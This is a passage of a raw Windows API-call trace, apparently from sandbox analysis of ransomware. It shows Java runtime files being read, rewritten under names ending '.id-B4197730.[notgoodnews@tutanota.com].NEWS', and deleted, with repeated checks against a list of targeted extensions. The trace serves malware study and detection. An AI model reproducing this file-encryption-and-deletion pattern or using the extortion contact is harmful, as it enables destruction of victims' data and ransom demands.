lpString2="CC.pf") returned -1 [0159.863] lstrlenW (lpString=".pdf") returned 4 [0159.863] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0159.863] lstrlenW (lpString=".xls") returned 4 [0159.863] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0159.863] lstrlenW (lpString=".xlsx") returned 5 [0159.863] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0159.863] lstrlenW (lpString=".ppt") returned 4 [0159.863] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0159.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0159.864] lstrlenW (lpString=".zip") returned 4 [0159.864] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0159.864] lstrlenW (lpString=".rar") returned 4 [0159.864] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0159.864] lstrlenW (lpString=".bz2") returned 4 [0159.864] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0159.864] lstrlenW (lpString=".7z") returned 3 [0159.864] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0159.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0159.864] lstrlenW (lpString=".dbf") returned 4 [0159.864] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0159.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0159.864] lstrlenW (lpString=".1cd") returned 4 [0159.864] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0159.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0159.864] lstrlenW (lpString=".jpg") returned 4 [0159.864] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0159.864] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0159.864] lstrlenW (lpString="messages_de.properties") returned 22 [0159.864] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0159.934] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=3306) returned 1 [0159.934] CloseHandle (hObject=0x44c) returned 1 [0159.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0159.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.935] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0159.935] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.936] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.936] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.940] GetLastError () returned 0x0 [0159.940] ReadFile (in: hFile=0x44c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xcea, lpOverlapped=0x0) returned 1 [0159.945] WriteFile (in: hFile=0x434, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0159.946] ReadFile (in: hFile=0x44c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.946] WriteFile (in: hFile=0x434, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x100, lpOverlapped=0x0) returned 1 [0159.946] SetEndOfFile (hFile=0x434) returned 1 [0159.947] CloseHandle (hObject=0x434) returned 1 [0159.947] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.947] SetEndOfFile (hFile=0x44c) returned 1 [0159.953] CloseHandle (hObject=0x44c) returned 1 [0159.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.953] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1 [0159.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0159.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0159.954] lstrlenW (lpString=".doc") returned 4 [0159.954] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.954] lstrlenW (lpString=".docx") returned 5 [0159.954] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.954] lstrlenW (lpString=".pdf") returned 4 [0159.954] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.954] lstrlenW (lpString=".xls") returned 4 [0159.954] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.954] lstrlenW (lpString=".xlsx") returned 5 [0159.954] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.954] lstrlenW (lpString=".ppt") returned 4 [0159.954] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0159.954] lstrlenW (lpString=".zip") returned 4 [0159.954] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.954] lstrlenW (lpString=".rar") returned 4 [0159.954] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.954] lstrlenW (lpString=".bz2") returned 4 [0159.954] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.954] lstrlenW (lpString=".7z") returned 3 [0159.954] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0159.954] lstrlenW (lpString=".dbf") returned 4 [0159.954] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0159.955] lstrlenW (lpString=".1cd") returned 4 [0159.955] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0159.955] lstrlenW (lpString=".jpg") returned 4 [0159.955] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0159.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0159.955] lstrlenW (lpString=".doc") returned 4 [0159.955] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.955] lstrlenW (lpString=".docx") returned 5 [0159.955] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.955] lstrlenW (lpString=".pdf") returned 4 [0159.955] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.955] lstrlenW (lpString=".xls") returned 4 [0159.955] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.955] lstrlenW (lpString=".xlsx") returned 5 [0159.955] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.955] lstrlenW (lpString=".ppt") returned 4 [0159.955] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0159.955] lstrlenW (lpString=".zip") returned 4 [0159.955] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.955] lstrlenW (lpString=".rar") returned 4 [0159.955] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.955] lstrlenW (lpString=".bz2") returned 4 [0159.955] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.955] lstrlenW (lpString=".7z") returned 3 [0159.955] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0159.955] lstrlenW (lpString=".dbf") returned 4 [0159.955] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0159.955] lstrlenW (lpString=".1cd") returned 4 [0159.955] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0159.956] lstrlenW (lpString=".jpg") returned 4 [0159.956] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.956] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0159.956] lstrlenW (lpString="messages_es.properties") returned 22 [0159.956] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0159.957] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=3600) returned 1 [0159.957] CloseHandle (hObject=0x44c) returned 1 [0159.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0159.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.957] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0159.958] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.958] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.958] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.958] GetLastError () returned 0x0 [0159.958] ReadFile (in: hFile=0x44c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xe10, lpOverlapped=0x0) returned 1 [0159.960] WriteFile (in: hFile=0x434, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xe20, lpOverlapped=0x0) returned 1 [0159.961] ReadFile (in: hFile=0x44c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.961] WriteFile (in: hFile=0x434, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x100, lpOverlapped=0x0) returned 1 [0159.962] SetEndOfFile (hFile=0x434) returned 1 [0159.962] CloseHandle (hObject=0x434) returned 1 [0159.962] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.962] SetEndOfFile (hFile=0x44c) returned 1 [0159.965] CloseHandle (hObject=0x44c) returned 1 [0159.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.966] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1 [0159.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0159.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0159.966] lstrlenW (lpString=".doc") returned 4 [0159.967] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.967] lstrlenW (lpString=".docx") returned 5 [0159.967] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.967] lstrlenW (lpString=".pdf") returned 4 [0159.967] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.967] lstrlenW (lpString=".xls") returned 4 [0159.967] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.967] lstrlenW (lpString=".xlsx") returned 5 [0159.967] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.967] lstrlenW (lpString=".ppt") returned 4 [0159.967] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0159.967] lstrlenW (lpString=".zip") returned 4 [0159.967] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.967] lstrlenW (lpString=".rar") returned 4 [0159.967] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.967] lstrlenW (lpString=".bz2") returned 4 [0159.967] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.967] lstrlenW (lpString=".7z") returned 3 [0159.967] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0159.967] lstrlenW (lpString=".dbf") returned 4 [0159.967] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0159.967] lstrlenW (lpString=".1cd") returned 4 [0159.967] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0159.967] lstrlenW (lpString=".jpg") returned 4 [0159.967] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0159.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0159.967] lstrlenW (lpString=".doc") returned 4 [0159.967] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.967] lstrlenW (lpString=".docx") returned 5 [0159.968] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.968] lstrlenW (lpString=".pdf") returned 4 [0159.968] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.968] lstrlenW (lpString=".xls") returned 4 [0159.968] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.968] lstrlenW (lpString=".xlsx") returned 5 [0159.968] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.968] lstrlenW (lpString=".ppt") returned 4 [0159.968] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0159.968] lstrlenW (lpString=".zip") returned 4 [0159.968] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.968] lstrlenW (lpString=".rar") returned 4 [0159.968] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.968] lstrlenW (lpString=".bz2") returned 4 [0159.968] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.968] lstrlenW (lpString=".7z") returned 3 [0159.968] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0159.968] lstrlenW (lpString=".dbf") returned 4 [0159.968] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0159.968] lstrlenW (lpString=".1cd") returned 4 [0159.968] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0159.968] lstrlenW (lpString=".jpg") returned 4 [0159.968] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.968] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0159.968] lstrlenW (lpString="messages_fr.properties") returned 22 [0159.968] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0159.969] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=3409) returned 1 [0159.969] CloseHandle (hObject=0x44c) returned 1 [0159.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0159.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.970] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0159.970] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.970] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.970] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.970] GetLastError () returned 0x0 [0159.970] ReadFile (in: hFile=0x44c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xd51, lpOverlapped=0x0) returned 1 [0159.972] WriteFile (in: hFile=0x434, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xd60, lpOverlapped=0x0) returned 1 [0159.973] ReadFile (in: hFile=0x44c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.973] WriteFile (in: hFile=0x434, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x100, lpOverlapped=0x0) returned 1 [0159.973] SetEndOfFile (hFile=0x434) returned 1 [0159.974] CloseHandle (hObject=0x434) returned 1 [0159.974] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.974] SetEndOfFile (hFile=0x44c) returned 1 [0159.977] CloseHandle (hObject=0x44c) returned 1 [0159.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.977] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1 [0159.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0159.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0159.978] lstrlenW (lpString=".doc") returned 4 [0160.155] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.155] lstrlenW (lpString=".docx") returned 5 [0160.155] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.155] lstrlenW (lpString=".pdf") returned 4 [0160.155] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.155] lstrlenW (lpString=".xls") returned 4 [0160.155] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.155] lstrlenW (lpString=".xlsx") returned 5 [0160.155] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.155] lstrlenW (lpString=".ppt") returned 4 [0160.155] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0160.155] lstrlenW (lpString=".zip") returned 4 [0160.155] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.155] lstrlenW (lpString=".rar") returned 4 [0160.155] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.155] lstrlenW (lpString=".bz2") returned 4 [0160.155] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.155] lstrlenW (lpString=".7z") returned 3 [0160.155] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0160.156] lstrlenW (lpString=".dbf") returned 4 [0160.156] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0160.156] lstrlenW (lpString=".1cd") returned 4 [0160.156] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0160.156] lstrlenW (lpString=".jpg") returned 4 [0160.156] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0160.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0160.156] lstrlenW (lpString=".doc") returned 4 [0160.156] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.156] lstrlenW (lpString=".docx") returned 5 [0160.156] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.156] lstrlenW (lpString=".pdf") returned 4 [0160.156] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.156] lstrlenW (lpString=".xls") returned 4 [0160.156] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.156] lstrlenW (lpString=".xlsx") returned 5 [0160.156] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.156] lstrlenW (lpString=".ppt") returned 4 [0160.156] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0160.156] lstrlenW (lpString=".zip") returned 4 [0160.156] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.156] lstrlenW (lpString=".rar") returned 4 [0160.156] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.156] lstrlenW (lpString=".bz2") returned 4 [0160.156] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.156] lstrlenW (lpString=".7z") returned 3 [0160.156] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0160.156] 